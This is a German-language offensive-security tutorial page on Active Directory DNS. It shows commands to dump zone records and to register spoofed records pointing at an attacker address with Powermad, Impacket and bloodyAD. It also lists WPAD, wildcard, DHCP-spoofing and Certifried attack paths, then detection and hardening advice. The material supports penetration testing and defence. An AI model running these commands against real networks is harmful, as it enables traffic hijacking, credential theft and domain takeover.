AD DNS Records
Reading time: 5 minutes
tip
Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Lernen & üben Sie Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.
Standardmäßig kann jeder Benutzer in Active Directory alle DNS-Einträge in den DNS-Zonen der Domäne oder des Forests auflisten, ähnlich wie bei einem Zonentransfer (Benutzer können die untergeordneten Objekte einer DNS-Zone in einer AD-Umgebung auflisten).
Das Tool adidnsdump ermöglicht die Auflistung und Exportierung von allen DNS-Einträgen in der Zone zu Recon-Zwecken interner Netzwerke.
git clone https://github.com/dirkjanm/adidnsdump
cd adidnsdump
pip install .
# Enumerate the default zone and resolve the "hidden" records
adidnsdump -u domain_name\\username ldap://10.10.10.10 -r
# Quickly list every zone (DomainDnsZones, ForestDnsZones, legacy zones,…)
adidnsdump -u domain_name\\username ldap://10.10.10.10 --print-zones
# Dump a specific zone (e.g. ForestDnsZones)
adidnsdump -u domain_name\\username ldap://10.10.10.10 --zone _msdcs.domain.local -r
cat records.csv
adidnsdump v1.4.0 (April 2025) fügt JSON/Greppable (
--json
) Ausgabe, mehrfädige DNS-Auflösung und Unterstützung für TLS 1.2/1.3 beim Binden an LDAPS hinzu.
Für weitere Informationen lesen Sie https://dirkjanm.io/getting-in-the-zone-dumping-active-directory-dns-with-adidnsdump/
Erstellen / Ändern von Einträgen (ADIDNS Spoofing)
Da die Gruppe Authenticated Users standardmäßig Create Child auf der Zonen-DACL hat, kann jedes Domänenkonto (oder Computer-Konto) zusätzliche Einträge registrieren. Dies kann für Traffic-Hijacking, NTLM-Relay-Zwang oder sogar vollständige Domänenkompromittierung verwendet werden.
PowerMad / Invoke-DNSUpdate (PowerShell)
Import-Module .\Powermad.ps1
# Add A record evil.domain.local → attacker IP
Invoke-DNSUpdate -DNSType A -DNSName evil -DNSData 10.10.14.37 -Verbose
# Delete it when done
Invoke-DNSUpdate -DNSType A -DNSName evil -DNSData 10.10.14.37 -Delete -Verbose
Impacket – dnsupdate.py (Python)
# add/replace an A record via secure dynamic-update
python3 dnsupdate.py -u 'DOMAIN/user:Passw0rd!' -dc-ip 10.10.10.10 -action add -record evil.domain.local -type A -data 10.10.14.37
(dnsupdate.py wird mit Impacket ≥0.12.0 ausgeliefert)
BloodyAD
bloodyAD -u DOMAIN\\user -p 'Passw0rd!' --host 10.10.10.10 dns add A evil 10.10.14.37
Häufige Angriffsprimitive
- Wildcard-Eintrag –
*.<zone>
verwandelt den AD DNS-Server in einen unternehmensweiten Responder, ähnlich wie LLMNR/NBNS-Spoofing. Es kann missbraucht werden, um NTLM-Hashes zu erfassen oder sie an LDAP/SMB weiterzuleiten. (Erfordert, dass WINS-Abfragen deaktiviert sind.) - WPAD-Hijack – füge
wpad
(oder einen NS-Eintrag, der auf einen Angreifer-Host zeigt, um die Global-Query-Block-List zu umgehen) hinzu und proxy transparent ausgehende HTTP-Anfragen, um Anmeldeinformationen zu sammeln. Microsoft hat die Wildcard/DNAME-Umgehungen (CVE-2018-8320) gepatcht, aber NS-Einträge funktionieren weiterhin. - Übernahme veralteter Einträge – beanspruche die IP-Adresse, die zuvor zu einem Arbeitsplatz gehörte, und der zugehörige DNS-Eintrag wird weiterhin aufgelöst, was ressourcenbasierte eingeschränkte Delegation oder Shadow-Credentials-Angriffe ermöglicht, ohne DNS überhaupt zu berühren.
- DHCP → DNS-Spoofing – bei einer Standard-Windows-DHCP+DNS-Bereitstellung kann ein nicht authentifizierter Angreifer im selben Subnetz jeden vorhandenen A-Eintrag (einschließlich Domänencontroller) überschreiben, indem er gefälschte DHCP-Anfragen sendet, die dynamische DNS-Updates auslösen (Akamai “DDSpoof”, 2023). Dies gibt Maschinen-in-der-Mitte über Kerberos/LDAP und kann zu einer vollständigen Übernahme der Domäne führen.
- Certifried (CVE-2022-26923) – ändere den
dNSHostName
eines Maschinenkontos, das du kontrollierst, registriere einen passenden A-Eintrag und fordere dann ein Zertifikat für diesen Namen an, um den DC zu impersonieren. Tools wie Certipy oder BloodyAD automatisieren den Ablauf vollständig.
Erkennung & Härtung
- Verweigere authentifizierten Benutzern das Recht Alle untergeordneten Objekte erstellen in sensiblen Zonen und delegiere dynamische Updates an ein dediziertes Konto, das von DHCP verwendet wird.
- Wenn dynamische Updates erforderlich sind, setze die Zone auf Nur-sicher und aktiviere Namensschutz in DHCP, sodass nur das Eigentümer-Computerobjekt seinen eigenen Eintrag überschreiben kann.
- Überwache die DNS-Server-Ereignis-IDs 257/252 (dynamisches Update), 770 (Zonenübertragung) und LDAP-Schreibvorgänge zu
CN=MicrosoftDNS,DC=DomainDnsZones
. - Blockiere gefährliche Namen (
wpad
,isatap
,*
) mit einem absichtlich harmlosen Eintrag oder über die Global Query Block List. - Halte DNS-Server gepatcht – z.B. RCE-Fehler CVE-2024-26224 und CVE-2024-26231 erreichten CVSS 9.8 und sind aus der Ferne gegen Domänencontroller ausnutzbar.
Referenzen
- Kevin Robertson – “ADIDNS Revisited – WPAD, GQBL und mehr” (2018, immer noch das de-facto Referenzwerk für Wildcard/WPAD-Angriffe)
- Akamai – “Spoofing von DNS-Einträgen durch Missbrauch dynamischer DHCP-DNS-Updates” (Dez 2023)
tip
Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Lernen & üben Sie Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.